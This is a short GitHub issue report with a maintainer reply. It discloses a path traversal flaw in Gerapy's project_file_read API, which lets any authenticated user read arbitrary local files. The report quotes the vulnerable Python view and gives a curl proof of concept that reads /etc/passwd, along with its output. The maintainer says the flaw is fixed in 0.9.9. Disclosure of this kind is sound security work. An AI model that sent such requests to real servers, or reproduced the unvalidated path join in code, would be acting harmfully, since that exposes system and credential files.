An authenticated user can read local file

[ksg97031]

Describe the bug
The below code is vulnerable to file exposure

Gerapy/gerapy/server/core/views.py

Lines 548 to 561 in af56573

	@api_view(['POST'])
	@permission_classes([IsAuthenticated])
	def project_file_read(request):
	"""
	get content of project file
	:param request: request object
	:return: file content
	"""
	if request.method == 'POST':
	data = json.loads(request.body)
	path = join(data['path'], data['label'])
	# binary file
	with open(path, 'rb') as f:
	return HttpResponse(f.read().decode('utf-8'))

To Reproduce

$ curl 'http://127.0.0.1:8000/api/project/file/read' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Content-Type: application/json;charset=UTF-8' \
  -H 'Authorization: Token $token' \
  --data-raw '{"path":"/etc/", "label":"passwd"}'

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

[Germey]

Fixed in 0.9.9